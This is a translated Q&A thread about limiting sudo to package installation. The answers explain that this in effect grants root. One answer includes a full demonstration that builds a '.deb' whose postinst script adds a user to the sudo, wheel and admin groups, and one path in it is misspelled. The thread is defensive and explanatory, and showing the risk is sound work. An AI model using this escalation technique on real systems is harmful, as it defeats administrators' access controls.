是否有限制用户的 sudo,以便仅调用 rpm/deb 来安装软件包?
答案1
是否有限制用户的 sudo,以便仅调用 rpm/deb 来安装软件包?
是的;man sudoers
详细并举例说明了如何做到这一点。
但这样做是毫无意义的:允许我安装任何 rpm,并且你已经给了我 root 权限。包可以包含任意设置脚本,这些脚本可以执行我想要的操作并以 root 身份运行,或者它们可以简单地包含一个与 sudo 执行相同操作但不限制我的程序。
deb
(与任何其他包管理器相同,或者实际上,对于允许执行代码的任何程序)
答案2
要提供bill
运行能力apt-get
,只需将其添加到/etc/sudoers
:
bill ALL = /usr/bin/apt-get
为了提供john
或bob
运行多个命令中的任何一个的能力,我们可以为它们创建一些更具可扩展性的组:
User_Alias INSTALLERS = john, bob
Cmnd_Alias INSTALL = /usr/bin/dpkg, \
/usr/bin/apt, \
/usr/bin/yum, \
/usr/bin/dnf
INSTALLERS ALL = INSTALL
我喜欢这个想法(原则上),因为让用户从可信来源安装软件包而不给他们完全的 root 权限是很好的。授予他们访问权限,apt
但不授予他们写入权限/etc/apt/sources.list{,.d}
。可能会出什么问题?
然而,下面我将演示它是多么容易被滥用。
$ mkdir -p elevator_1.0/DEBIAN
$ cat > elevator_1.0/DEBIAN/control <<EOF
Package: elevator
Version: 1.0
Architecture: all
Maintainer: Anonymous <[email protected]>
Description: Malicious permission elevator
Installing this package will elevate permissions of a user.
Uninstalling will not undo this
EOF
$ cat > eleavtor_1.0/DEBIAN/postinst <<EOF
#!/bin/bash
usermod -a -G sudo bob
usermod -a -G wheel bob
usermod -a -G admin bob
echo "bob has been elevated!"
EOF
$ dpkg-deb -b elevator_1.0
dpkg-deb: building package 'elevator' in 'elevator_1.0.deb'.
$ sudo apt install ./elevator_1.0.deb
...
The following NEW packages will be installed:
elevator
...
Preparing to unpack .../elevator_1.0.deb ...
Unpacking elevator (1.0) ...
Setting up elevator (1.0) ...
bob has been elevated
如果有更安全的方法,我肯定会感兴趣。我给我的员工 root 访问权限,只是因为他们需要能够从官方 debian 存档和我们公司的内部存档安装软件。我已经告诉他们不要添加不受信任的来源,但我无法强制执行。